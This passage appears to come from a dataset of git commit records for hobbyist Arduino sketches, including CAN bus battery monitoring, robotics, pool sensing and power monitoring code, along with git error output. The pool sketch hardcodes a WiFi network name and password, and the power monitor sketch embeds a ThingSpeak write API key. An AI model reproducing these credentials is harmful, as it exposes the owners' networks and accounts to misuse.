\"nulla\", \"quis\", \"euismod.\", \"Fusce\", \"gravida\",\n \"bibendum\", \"dolor\", \"in\", \"vehicula.\", \"Proin\", \"mauris\",\n \"felis,\", \"ultricies\", \"quis\", \"rhoncus\", \"ac,\", \"fermentum\",\n \"at\", \"lacus.\", \"Sed\", \"porta\", \"leo\", \"magna,\", \"a\", \"finibus\",\n \"odio\", \"aliquam\", \"et.\", \"Ut\", \"pellentesque\", \"varius\", \"est\",\n \"nec\", \"lobortis.\", \"Nam\", \"id\", \"massa\", \"molestie,\", \"mollis\",\n \"nisl\", \"id,\", \"mattis\", \"elit.\", \"Vivamus\", \"elementum\", \"ut\",\n \"massa\", \"interdum\", \"feugiat.\", \"Suspendisse\", \"elementum\",\n \"erat\", \"ac\", \"odio\", \"tempus,\", \"ac\", \"congue\", \"nunc\",\n \"malesuada.\", \"Vivamus\", \"ac\", \"ligula\", \"condimentum\", \"amet.\",\n#endif\n NULL\n};\n\n\nvoid printText( )\n{ \n int idx = 0;\n int ncols = 0;\n int nrows = 0;\n \n int w = 0;\n\n \/\/ only continue for the number of rows we want\n do {\n \/\/ see if it will fit on the line\n w = strlen( lipsum[idx] );\n if( ((ncols + w ) >= cols) || (w==0) ) {\n Serial.println( \"\" );\n ncols = 0;\n nrows++;\n }\n\n \/\/ see if we're past rows\n if( nrows < rows ) {\n \/\/ put it on this row\n if( ncols != 0 ) {\n Serial.print( \" \" );\n ncols++;\n }\n Serial.print( lipsum[idx] );\n ncols += w;\n }\n\n idx++;\n if( lipsum[idx] == NULL ) {\n idx = 0;\n }\n \n } while( nrows < rows );\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ serial port line reading\n\nchar line[80];\n\nvoid clearLine()\n{\n line[0] = '\\0';\n}\n\nvoid readLine()\n{\n char ch = '\\0';\n int lp = 0;\n\n \/* read until newline or filled string *\/\n while( ch != '\\n' && lp < (80-1) ) {\n while( !Serial.available() ) delay( 5 );\n ch = Serial.read();\n line[lp] = ch;\n lp++;\n }\n line[lp-1] = '\\0'; \/* terminate the string *\/\n\n \/\/ echo if we got something\n if( line[0] != '\\0' ) {\n Serial.print( \" << \" );\n Serial.print( line );\n Serial.println( \" >>\" );\n }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ main user input loop\n\nvoid loop()\n{\n readLine();\n bool err = false;\n\n if( !strcmp( line, \"h\" )) {\n Serial.println( F(\" t - text\") );\n Serial.println( F(\" ? - settings\") );\n Serial.println( F(\" c<n> - cols\") );\n Serial.println( F(\" b<n> - baud\") );\n Serial.println( F(\" r<n> - rows\") );\n }\n\n else if( !strcmp( line, \"?\" )) {\n newCols( cols );\n newRows( rows );\n newBaud( baud );\n }\n\n else if( line[0] == 'b' ) {\n newBaud( atol( &line[1] ));\n } else if( line[0] == 'c' ) {\n newCols( atol( &line[1] ));\n } else if( line[0] == 'r' ) {\n newRows( atol( &line[1] ));\n }\n \n \n else if( !strcmp( line, \"t\" )) printText();\n\n else err = true;\n\n if( err == true ) {\n Serial.println( F( \"What?\" ));\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/LlamaLlipsum\/LlamaLlipsum.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a085d5e0ca7a4300debcfb1c65406049e9ef25af","subject":"Initial Code Commit","message":"Initial Code Commit\n","repos":"MITEVT\/a123-arduino-can","old_file":"CANDuino.ino","new_file":"CANDuino.ino","new_contents":"#include <mcp_can.h>\n#include <mcp_can_dfs.h>\n\n\/\/ CAN-BUS Shield: Meant for A123 Modules\n#include <SPI.h>\n\n#define MOD_CELL_UNDERVOLT 3\n#define MOD_CELL_OVERVOLT 2\n#define MOD_THERM_OFFSET -40\n#define MOD_V_OFFSET 1\n\n\nunsigned char Flag_Recv = 0;\nunsigned char unwritten_data = 0;\n\nunsigned char len[8];\nlong unsigned int id[8];\nunsigned char buf[64];\nunsigned char buffersUsed = 0;\n\nunsigned char key = 0;\n\nunsigned char no_balance[8] = {0, 0xFF, 0XF0, 0, 0, 0, 0, 0};\nunsigned char no_balance_e[8] = {0x01, 0xFF, 0XF0, 0, 0, 0, 0, 0};\nunsigned char balance[8] = {0, 0x8F, 0xC0, 0, 0, 0, 0, 0};\nunsigned char balance_e[8] = {0x01, 0x8F, 0xC0, 0, 0, 0, 0, 0};\nunsigned char empty_message[8];\n\n\nMCP_CAN CAN(10); \/\/ Set CS to pin 10\n\nvoid setup() {\n Serial.begin(115200);\n\n while (CAN_OK != CAN.begin(CAN_500KBPS)) {\n Serial.println(\"CAN BUS Shield init fail\");\n Serial.println(\"Init CAN BUS Shield again\");\n delay(100);\n }\n\n Serial.println(\"CAN BUS Shield init ok!\");\n\n attachInterrupt(0, MCP2515_ISR, FALLING); \/\/ start interrupt\n}\n\nvoid MCP2515_ISR()\n{\n Flag_Recv = 1;\n}\n\nunsigned int getBits(int startBit, int length, unsigned char *buf) {\n unsigned int val = 0;\n unsigned char startBitByte = startBit \/ 8;\n unsigned char bitShift = 0;\n unsigned char currentBit = startBit % 8;\n unsigned char currentByte = buf[startBitByte];\n \n if (length <= 8) {\n unsigned char mask = 0;\n for (char i = 0; i < length; i++) {\n mask += 1 << (currentBit + i);\n }\n val = (currentByte & mask) >> currentBit ;\n } else {\n while (length > 0) {\n val += (currentByte >> currentBit) << (bitShift);\n bitShift += 8 - currentBit;\n length -= 8 - currentBit;\n currentBit = 0;\n startBitByte -= 1;\n currentByte = buf[startBitByte];\n }\n }\n return val;\n}\n\nvoid setBits(int startBit, int length, unsigned char *buf, unsigned int data) {\n for (int i = 0; i < length; i++) {\n buf[(startBit + i)\/8] = (buf[(startBit + i)\/8] & ~(~(data & 1) << ((startBit + i) % 8)));\n data = data >> 1;\n }\n}\n\nvoid print200Message(unsigned char *buf) {\n \n unsigned char mod_cell_undervolt = getBits(3, 1, buf);\n unsigned char mod_cell_overvolt = getBits(2, 1, buf);\n unsigned char mod_response_id = getBits(4, 4, buf);\n unsigned char mod_tmp_chn = getBits(24, 3, buf);\n unsigned char mod_therm_x = getBits(8, 8, buf) + MOD_THERM_OFFSET;\n\n float mod_v_min = getBits(27, 13, buf) * 0.0005 + MOD_V_OFFSET;\n float mod_v_max = getBits(43, 13, buf) * 0.0005 + MOD_V_OFFSET;\n float mod_v_avg = getBits(59, 13, buf) * 0.0005 + MOD_V_OFFSET;\n\n unsigned char mod_bal_cnt = getBits(40, 3, buf);\n unsigned char mod_v_compare_oor = getBits(58, 1, buf);\n\n Serial.print(\"Message Response ID: \");\n Serial.println(mod_response_id);\n\n Serial.print(\"Cell Undervoltage detected: \");\n Serial.println(mod_cell_undervolt);\n\n Serial.print(\"Cell Overvoltage detected: \");\n Serial.println(mod_cell_overvolt);\n\n Serial.print(\"Temperature Channel: \");\n Serial.print(mod_tmp_chn);\n Serial.print(\"; Temperature: \");\n Serial.println(mod_therm_x);\n\n Serial.print(\"Minimum Cell Voltage: \");\n Serial.println(mod_v_min);\n Serial.print(\"Average Cell Voltage: \");\n Serial.println(mod_v_avg);\n Serial.print(\"Maximum Cell Voltage: \");\n Serial.println(mod_v_max);\n\n Serial.print(\"Number of Active Balance Circuits: \");\n Serial.println(mod_bal_cnt);\n\n Serial.print(\"Voltage Mismatch Detected: \");\n Serial.println(mod_v_compare_oor);\n}\n\nvoid printExtendedMessage(unsigned char offset, unsigned char *buf) {\n unsigned char mod_bal_cell_01 = getBits(10, 1, buf);\n unsigned char mod_bal_cell_02 = getBits(26, 1, buf);\n unsigned char mod_bal_cell_03 = getBits(42, 1, buf);\n unsigned char mod_bal_cell_04 = getBits(58, 1, buf);\n \n float mod_v_cell_01 = getBits(11, 13, buf) * 0.0005 + MOD_V_OFFSET;\n float mod_v_cell_02 = getBits(27, 13, buf) * 0.0005 + MOD_V_OFFSET;\n float mod_v_cell_03 = getBits(43, 13, buf) * 0.0005 + MOD_V_OFFSET;\n float mod_v_cell_04 = getBits(59, 13, buf) * 0.0005 + MOD_V_OFFSET;\n \n Serial.print(\"Cell \"); Serial.print(offset + 1); Serial.print(\" State: \"); Serial.print(mod_bal_cell_01); Serial.print(\" Voltage: \"); Serial.println(mod_v_cell_01);\n Serial.print(\"Cell \"); Serial.print(offset + 2); Serial.print(\" State: \"); Serial.print(mod_bal_cell_02); Serial.print(\" Voltage: \"); Serial.println(mod_v_cell_02);\n Serial.print(\"Cell \"); Serial.print(offset + 3); Serial.print(\" State: \"); Serial.print(mod_bal_cell_03); Serial.print(\" Voltage: \"); Serial.println(mod_v_cell_03);\n Serial.print(\"Cell \"); Serial.print(offset + 4); Serial.print(\" State: \"); Serial.print(mod_bal_cell_04); Serial.print(\" Voltage: \"); Serial.println(mod_v_cell_04);\n}\n\nvoid loop() {\n if (Serial.available()) {\n char key1 = Serial.read();\n \/\/ send data: id = 0x00, standard flame, data len = 8, stmp: data buf\n switch (key1) {\n case 98: \/\/b\n CAN.sendMsgBuf(0x50, 0, 3, balance);\n Serial.println(\"Sending Balance to 3.3V Message\");\n break;\n case 109: \/\/m\n CAN.sendMsgBuf(0x50, 0, 3, balance_e);\n Serial.println(\"Sending Balance to 3.3V Message, Reqeusting Extended Response\"); \n break;\n case 110: \/\/n\n CAN.sendMsgBuf(0x50, 0, 3, no_balance);\n Serial.println(\"Sending Do Not Balance Message\");\n break;\n case 101: \/\/e\n CAN.sendMsgBuf(0x50, 0, 3, no_balance_e);\n Serial.println(\"Sending Do Not Balance Message, Reqeusting Extended Response\");\n break;\n default:\n Serial.println(\"Error: Command not defined\");\n } \n }\n \/\/ If we get data write to buffer\n if (Flag_Recv && !unwritten_data) { \/\/ check if get data\n Flag_Recv = 0;\n unwritten_data = 1;\n buffersUsed = 0;\n while (CAN_MSGAVAIL == CAN.checkReceive()) {\n CAN.readMsgBufID(&id[buffersUsed], &len[buffersUsed], buf + 8 * buffersUsed); \/\/ read data, id: message id, len: data length, buf: data buf \n buffersUsed += 1;\n if (buffersUsed > 7) {\n Serial.print(\"Error\");\n break;\n }\n }\n } else {\n for (int i = 0 ; i < buffersUsed; i++) {\n Serial.print(\"Message: \");\n Serial.println(i);\n Serial.print(\"ID: \");\n Serial.print(id[i], HEX);\n Serial.print(\"; Len: \");\n Serial.print(len[i]);\n unsigned char id_mod = id[i] >> 8;\n if (id_mod == 0x2) {\n Serial.println();\n print200Message(buf + 8 * i);\n } else if (id_mod == 0x3 || id_mod == 0x4 || id_mod == 0x5 || id_mod == 0x6) {\n Serial.println();\n printExtendedMessage((id_mod - 3) * 4, buf + 8 * i);\n } else {\n Serial.print(\"; Data: \");\n for (int j = 0; j<len[i]; j++) {\n Serial.print(buf[j + (8 * i)], HEX);Serial.print(\"\\t\");\n }\n }\n Serial.println();\n }\n unwritten_data = 0;\n }\n}\n\n\/*********************************************************************************************************\nEND FILE\n*********************************************************************************************************\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CANDuino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0b97af1a04f60e18efdbb2ffcbbf388aa75003f0","subject":"COH-25: Dump to Serial works: need real unit test of underlying!","message":"COH-25: Dump to Serial works: need real unit test of underlying!","repos":"opentrv\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink","old_file":"test\/test.ino","new_file":"test\/test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e49536cf3426bf90429880b87e9f6458bcd7275b","subject":"Add files via upload","message":"Add files via upload\n\nObch\u00e1dzanie prek\u00e1\u017eky so sledovan\u00edm \u010diary","repos":"Galeje\/Cing","old_file":"kniha\/8kapitola-4.podkapitola.ino","new_file":"kniha\/8kapitola-4.podkapitola.ino","new_contents":"#include \"Attiny85_IO_basic.h\"\nAttiny attiny;\nvoid setup() {\n\n\n}\n\nvoid loop() \n{\n if (attiny.UltrasonicSensor()<20) \n {\n attiny.motor(\"A\", 1, \"digital\");\n delay (500);\n attiny.motor(\"A\", 0, \"digital\");\n attiny.motor(\"B\", 1, \"digital\");\n delay (500);\n attiny.motor(\"AB\", 1, \"digital\");\n delay (500);\n }\n else \n {\n if (attiny.LightSensor(1, \"digital\")==0)\n {\n attiny.motor(\"B\",1, \"digital\");\n }\n else \n {\n attiny.motor(\"A\", 1, \"digital\");\n }\n }\n\n}\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'kniha\/8kapitola-4.podkapitola.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5318dde8a5105e45499b3ddcf8b2d7e6caec80c1","subject":"backing up works too \u2026","message":"backing up works too \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndStopTest2\/EndStopTest2.ino","new_file":"EndStopTest2\/EndStopTest2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ec79a04a9a28320c185c7f3da355011fb8802731","subject":"Added Direct Yaw Control","message":"Added Direct Yaw Control\n\nPut in a direct yaw control. Also correct des_yaw to accept negative\nvalues (i.e angles to the left). There was a mistake in the earlier\nversion where yaw was always to the right.\n","repos":"lowjunen\/THOR,lowjunen\/THOR","old_file":"Flight_Controller\/_04b_FW.ino","new_file":"Flight_Controller\/_04b_FW.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lowjunen\/THOR.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bdfb5bac2f68364f3ea0c04d604f59e5963faebd","subject":"Arduino sketch.","message":"Arduino sketch.\n","repos":"marborkowski\/leapmotion-robot-hand-controller","old_file":"arduino-sketch\/robot-hand\/robot-hand.ino","new_file":"arduino-sketch\/robot-hand\/robot-hand.ino","new_contents":"\/**\n by Marcin Borkowski <marborkowski@gmail.com>\n**\/ \n#include <Servo.h>\n\n\/\/ Create servo object to control a servo mechanism\nServo palm;\n\nconst int pin = 9;\nconst int baudrate = 115200;\n\nString receivedData;\n\nvoid setup() {\n Serial.begin(baudrate); \n palm.attach(pin);\n}\n\nvoid loop() {\n while(Serial.available()) {\n receivedData = Serial.readString(); \n \n \/\/ if palm is open, set the servo angle to 0\n \/\/ otherwise, set it to 180 (maximum value)\n if(receivedData == \"true\") {\n palm.write(0);\n } else {\n palm.write(180);\n }\n \n receivedData = \"\";\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-sketch\/robot-hand\/robot-hand.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"406636d3d206ee6db5b1ca268f07d94036212f62","subject":"added MultiSerial to upload firmware","message":"added MultiSerial to upload firmware\n","repos":"collin80\/GEVCU6,collin80\/GEVCU6","old_file":"util\/MultiSerial.ino","new_file":"util\/MultiSerial.ino","new_contents":"\/*\n Transmit serial data back and forth between two ports\n in order to flash new firmware to ichip with the ichip config tool.\n\n Note: Steps 1-5 have to be completed within 30 seconds (30000ms)\n \n Steps:\n 1) reset arduino (e.g. power cycle)\n 2) start ichip software\n 3) menu \"serial ports\", select com port of ardiuno, set baud rate to 9600\n 4) click on \"ichip uploader via serial\"\n 5) select EBI flash 16 Megabit (if window doesn't appear, start over, act faster)\n 6) Click FW Update, select .imf file and wait until finished, close ichip program\n 7) power cycle arduino\/gevcu and wait 20-30sec\n 8) menu \"serial ports\", set baud rate to 115200\n 9) go to configuration page\n\n check-out http:\/\/www.youtube.com\/watch?v=vS60htz6h1g at 00:35:00\n\n *\/\n\nbool flag = true;\nvoid setup() {\n\tSerialUSB.begin(9600); \/\/ use SerialUSB only as the programming port doesn't work\n\tSerial3.begin(9600); \/\/ use Serial3 for GEVCU2, use Serial2 for GEVCU3+4\n\/\/\tpinMode(43, INPUT);\n}\n\nvoid loop() {\n\twhile (Serial3.available()) {\n\t\tSerialUSB.write(Serial3.read());\n\t}\n\twhile (SerialUSB.available()) {\n\t\tSerial3.write(SerialUSB.read());\n\t}\n\n\tif (flag && millis() > 30000) {\n\t\tSerialUSB.begin(115200);\n\t\tSerial3.begin(115200);\n\t\tflag = false;\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'util\/MultiSerial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9714f3dd3aef4e1b5307b9b2a187c89de7b91233","subject":"Update ProbeCube_pp_099b0224.ino","message":"Update ProbeCube_pp_099b0224.ino","repos":"Lafudoci\/ProbeCube","old_file":"Arduino with cc3000wifi based\/Code\/ProbeCube_pp_099b0224.ino","new_file":"Arduino with cc3000wifi based\/Code\/ProbeCube_pp_099b0224.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'with' did not match any file(s) known to git\nerror: pathspec 'cc3000wifi' did not match any file(s) known to git\nerror: pathspec 'based\/Code\/ProbeCube_pp_099b0224.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fa23210d8cc415f507c6f1c78b958dcc854081d5","subject":"Test for checking the processing code","message":"Test for checking the processing code\n","repos":"PeterVerzijl\/TableOfContinents,TonyTonijn\/TableOfContinents,TonyTonijn\/TableOfContinents,PeterVerzijl\/TableOfContinents","old_file":"arduino\/tests\/tests\/tests.ino","new_file":"arduino\/tests\/tests\/tests.ino","new_contents":"\n\n\/*\n * User testing for the arduino\n * Two kinds of messages can be send to the arduino:\n * - 0-255\n * - S,1,#\n * c rrrgggbbb\n * - L,1,C#########\\n\n*\/\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \n}\n\n\/\/ Serial event gets called when anything in the serial happens.\nvoid serialEvent() {\n String s = \"\";\n while(Serial.available()) {\n char c = (char)Serial.read();\n s += c;\n if (c == '\\n') {\n Serial.print(s);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/tests\/tests\/tests.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"601b59cf8d52ade6355a021890fc3abe62fb4c1c","subject":"commit of POOL sketch. Works with pH, temperature, and pump control","message":"commit of POOL sketch. Works with pH, temperature, and pump control\n","repos":"scentelles\/iot,scentelles\/iot,scentelles\/iot","old_file":"examples\/POOL\/POOL.ino","new_file":"examples\/POOL\/POOL.ino","new_contents":"\/\/Libraries\n\n#include \"MqttConnection.h\"\nMqttConnection * myMqtt;\n\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/Constants\n#define SENSOR_ID \"POOL\"\n#define LOOP_DELAY 50\n\n#define PROBE_TEMPO 60000 \/\/1 measure per minute\n#define ONE_WIRE_BUS D1 \/\/ DS18B20 pin\n#define RELAY_PIN D8\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature DS18B20(&oneWire);\n\n#define SensorPin A0 \/\/pH meter Analog output to ESP8266 Analog Input\n#define Offset -2.7 \/\/deviation compensate\n#define ArrayLenth 40 \/\/times of collection\nfloat pHArray[ArrayLenth]; \/\/Store the average value of the sensor feedback\n \n\n\/\/Variables\n\n#define RELAY_STATE_OFF '1'\n#define RELAY_STATE_ON '2'\n\n\nlong lastProbe = 0;\n\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"SFR_34A8\"\n#define WLAN_PASS \"ab4ingrograstanstorc\"\n\n\/************************* MQTT *********************************\/\n\n#define MQTT_SERVER \"192.168.1.27\"\n#define MQTT_PORT 1883\n\n\n\/*************************** Sketch Code ************************************\/\n\n\n\nvoid processCommandMsg(char* topic, byte* payload, unsigned int length)\n{\n String commandTopic = String(SENSOR_ID) + \"\/\" + \"command\";\n Serial.print(\"Checking if topic:#\");\n Serial.print(commandTopic);\n Serial.println(\"#\");\n\n if(String(topic) == commandTopic){\n Serial.println(\"Received state topic change\");\n if ((char)payload[0] == RELAY_STATE_ON) {\n Serial.println(\"RELAY STATE ON received\");\n\n digitalWrite(RELAY_PIN, HIGH);\n char tmpChar = RELAY_STATE_ON;\n myMqtt->publishValue(\"state\", &tmpChar);\n }\n else if ((char)payload[0] == RELAY_STATE_OFF){\n Serial.println(\"RELAY STATE OFF received\");\n\n digitalWrite(RELAY_PIN, LOW); \n char tmpChar = RELAY_STATE_OFF;\n myMqtt->publishValue(\"state\", &tmpChar); \n }\n else {\n Serial.print(\"Unknown payload : \");\n Serial.println((char)payload[0]);\n }\n\n }\n}\n\n\n\nvoid setup()\n{\n Serial.begin(115200);\n myMqtt = new MqttConnection(SENSOR_ID, WLAN_SSID, WLAN_PASS, MQTT_SERVER, MQTT_PORT);\n\n pinMode(RELAY_PIN, OUTPUT);\n digitalWrite(RELAY_PIN, LOW);\n \n myMqtt->registerCustomProcessing(&processCommandMsg);\n myMqtt->addSubscription(\"command\");\n \n}\n\n\nfloat avergearray(float* arr, int number){\n int i;\n int max,min;\n float avg;\n float amount=0;\n if(number<=0){\n Serial.println(\"Error number for the array to avraging!\/n\");\n return 0;\n }\n \n for(i=0;i<number;i++){\n amount+=arr[i]; \n }\n avg = amount\/(number);\n\n return avg;\n}\n\n\/\/ Return RSSI or 0 if target SSID not found\nint32_t getRSSI(String target_ssid) {\n byte available_networks = WiFi.scanNetworks();\n\n for (int network = 0; network < available_networks; network++) {\n if (WiFi.SSID(network) == target_ssid) {\n return WiFi.RSSI(network);\n }\n }\n return 0;\n}\n\n\nvoid loop()\n{\n if (!myMqtt->connected()) {\n myMqtt->reconnect();\n }\n myMqtt->loop();\n\n long now = millis(); \n float pHValue,voltage, voltage1;\n if (now - lastProbe > PROBE_TEMPO)\n {\n\t Serial.println(\"Probig NOW\");\n\t lastProbe = now;\n\t DS18B20.requestTemperatures(); \n\t int temperature = DS18B20.getTempCByIndex(0);\n\t Serial.print(\"Temperature: \");\n\t Serial.println(temperature);\n\t if (temperature == 85.0 || temperature == (-127.0)) {\n\t\t Serial.println(\"Failed to read from sensor!\");\n\t }\n\t else\n\t {\n\t\t \/\/send to MQTT server\n\t\t myMqtt->publishValue(\"temperature\", temperature, 1); \n\t }\n\t \n\n\t for(int i = 0; i < ArrayLenth; i++)\n\t {\n\t\t voltage1=analogRead(SensorPin);\n\t\t voltage = voltage1*5.0\/1024;\n\t\t pHArray[i] = 3.5*voltage+Offset;\n\t\t }\n\t\t pHValue = avergearray(pHArray, ArrayLenth);\n\n\t\tSerial.print(\" Voltage : \");\n\t Serial.println(voltage1,3); \n\t Serial.print(\" pH value: \");\n\t Serial.println(pHValue,2);\n\t myMqtt->publishValue(\"ph\", pHValue, 1); \n\t \n\n\t \/*int32_t rssi = getRSSI(WLAN_SSID);\n\t Serial.print(\"\\nWifi strength : \");\n\t Serial.println(rssi);*\/\n }\n \n\n delay(LOOP_DELAY);\n}\n\n \n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/POOL\/POOL.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"81093b34ffc9a7d37e0d0a78063fe02b3feaeaf2","subject":"added power monitor sketch","message":"added power monitor sketch","repos":"JadinAndrews\/el-IOT,JadinAndrews\/el-IOT","old_file":"MrPowerMonitor.ino","new_file":"MrPowerMonitor.ino","new_contents":" #include \"ThingSpeak.h\"\n #include <SPI.h>\n #include <EthernetV2_0.h>\n #include \"EmonLib.h\"\n \n EnergyMonitor circuit_1;\n EnergyMonitor circuit_2;\n EnergyMonitor circuit_3;\n\n EthernetClient client; \n byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED};\n unsigned long myChannelNumber = 40245;\n const char * myWriteAPIKey = \"9GEACIUME9OOLRIC\";\n\nvoid setup() {\n \/\/Serial.begin(9600);\n \/\/Serial.println(\"Energy Monitor Initializing\");\n Ethernet.begin(mac); \n delay(60000); \/\/ Wait for TPlink to acquire wlan\n ThingSpeak.begin(client);\n circuit_1.current(1, 30);\n circuit_2.current(2, 30);\n circuit_3.current(3, 30);\n \n}\n\nvoid loop() {\n float circuit_1_Irms = circuit_1.calcIrms(1480) * 230 \/ 1000;\n float circuit_2_Irms = circuit_2.calcIrms(1480) * 230 \/ 1000;\n float circuit_3_Irms = circuit_3.calcIrms(1480) * 230 \/ 1000;\n ThingSpeak.setField(1, circuit_1_Irms);\n ThingSpeak.setField(2, circuit_2_Irms);\n ThingSpeak.setField(3, circuit_3_Irms);\n ThingSpeak.writeFields(myChannelNumber, myWriteAPIKey);\n \/\/Serial.print(\"Power on circuit_1 : \");\n \/\/Serial.println(circuit_1_Irms);\n \/\/Serial.print(\"Power on circuit_2 : \");\n \/\/Serial.println(circuit_2_Irms);\n \/\/Serial.print(\"Power on circuit_3 : \");\n \/\/Serial.println(circuit_3_Irms);\n \/\/Serial.println();\n delay(20000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MrPowerMonitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"599aa94454c75faa8ebe6a24560fa8af9eb38780","subject":"Create StopAnimation.ino","message":"Create StopAnimation.ino","repos":"ht-deko\/microbit_Screen","old_file":"examples\/StopAnimation\/StopAnimation.ino","new_file":"examples\/StopAnimation\/StopAnimation.ino","new_contents":"#include \"microbit_Screen.h\"\n\nvoid setup() {\n pinMode(PIN_BUTTON_A, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(PIN_BUTTON_A), onButtonPressed, CHANGE);\n \n SCREEN.begin();\n SCREEN.showString(\"THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG\");\n}\n\nvoid loop() {\n SCREEN.setBrightness(255);\n SCREEN.showIcon(IconNames::Heart);\n SCREEN.setBrightness(16);\n SCREEN.showIcon(IconNames::Heart);\n}\n\nvoid onButtonPressed() {\n SCREEN.stopAnimation();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/StopAnimation\/StopAnimation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3410c6dbfff52496e82124b94cb6f4a17f23d7c5","subject":"working (but slow version) of wifi page.","message":"working (but slow version) of wifi page.\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3c11beb0fa0b999f65b58d857c27de1e78dd6396","subject":"Adding alternate driver architecture.","message":"Adding alternate driver architecture.\n","repos":"ikea-lisp-code\/diodberg,ikea-lisp-code\/diodberg","old_file":"firmware\/WS2811Serial\/WS2811Serial.ino","new_file":"firmware\/WS2811Serial\/WS2811Serial.ino","new_contents":"#include <DMXSerial.h>\n#include <Adafruit_NeoPixel.h>\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_RGB Pixels are wired for RGB bitstream\n\/\/ NEO_GRB Pixels are wired for GRB bitstream\n\/\/ NEO_KHZ400 400 KHz bitstream (e.g. FLORA pixels)\n\/\/ NEO_KHZ800 800 KHz bitstream (e.g. High Density LED strip)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(2, 9, NEO_GRB + NEO_KHZ800);\n\n#define NUM_LEDS 16\n\nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n \n colorWipe(strip.Color(255,0,0), 50);\n \n \/\/ Set the channel switching pins to outputs\n digitalWrite(A0, LOW);\n digitalWrite(A1,LOW);\n digitalWrite(A2,LOW);\n digitalWrite(A3,LOW);\n pinMode(A0, OUTPUT);\n pinMode(A1, OUTPUT);\n pinMode(A2, OUTPUT);\n pinMode(A3, OUTPUT);\n \n colorWipe(strip.Color(0,255,0), 50);\n \n \/\/ Set the differential transceiver to receive mode.\n digitalWrite(2, LOW);\n pinMode(2, OUTPUT);\n \/\/ Setup the DMX interrupts \/ parsing code.\n DMXSerial.init(DMXReceiver);\n \n colorWipe(strip.Color(0,0,255), 50);\n \n colorWipe(strip.Color(0,0,0), 50);\n}\n\nvoid loop() {\n \/\/ Some example procedures showing how to display to the 